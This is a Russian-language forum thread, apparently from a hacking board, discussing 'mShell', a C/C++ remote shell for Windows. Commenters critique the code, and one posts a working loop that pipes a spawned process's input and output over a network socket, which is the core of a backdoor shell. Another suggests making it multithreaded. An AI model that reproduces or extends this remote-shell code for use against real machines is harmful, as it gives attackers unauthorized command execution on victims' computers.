![]() |
Remote Shell, mShell by D-oNe, All WIN* in C/C++
Код:
//mShell by D-oNe, All WIN*, based on code by Delikon |
О, определенно самый хэккерский шелл из всех мною виденных..
|
Либу с Winsock, наверное забыл слинковать...
|
"if (!strstr(szBuffer, "exit") == 0)" страшно =)
|
Да ИСИС, ты хэккер имхо. такие шеллы писать не каждый осилит имхо.
|
Цыкл на чтение и запись с труб странно сделан, однопоточный, работа сокетов блокирующих (синхронные),даже влом постаить было буфер (0xFFF 4095) (экономия стекой памяти) вообщем руки кривые =)
|
вот можно еще и так )))
while (GetExitCodeProcess(pIf.hProcess,&lpExit) && lpExit== STILL_ACTIVE) { DWORD BytesToRead; DWORD BytesTotal; while (PeekNamedPipe(hInRead,buffer,0x1FFF,&BytesToRead, &BytesTotal,NULL) && BytesToRead) { ReadFile(hInRead,buffer,0x1FFF,&BytesToRead,NULL); send(Sock,buffer,BytesToRead,0); } fd_set f_set; FD_ZERO(&f_set); FD_SET(Sock,&f_set); timeval timeout; timeout.tv_sec = 0; timeout.tv_usec = 5000; int Err = select(0,&f_set,NULL,NULL,&timeout); if (Err == SOCKET_ERROR) break; int RecvBytes; if (FD_ISSET(Sock,&f_set)) { RecvBytes = recv(Sock,buffer,0x1FFF,0); if (RecvBytes <=0) break; DWORD BytesWritten; WriteFile(hOutWrite,buffer,RecvBytes,&BytesWritten ,0); MZero(buffer,0x1FFF); } } |
Этот шелл закроется после дисконнекта клиента. Может лучше было бы сделать многопоточный шелл, чтобы на каждый коннект был свой поток? ;)
См. исходник Cr4sh`a. |
| Время: 09:18 |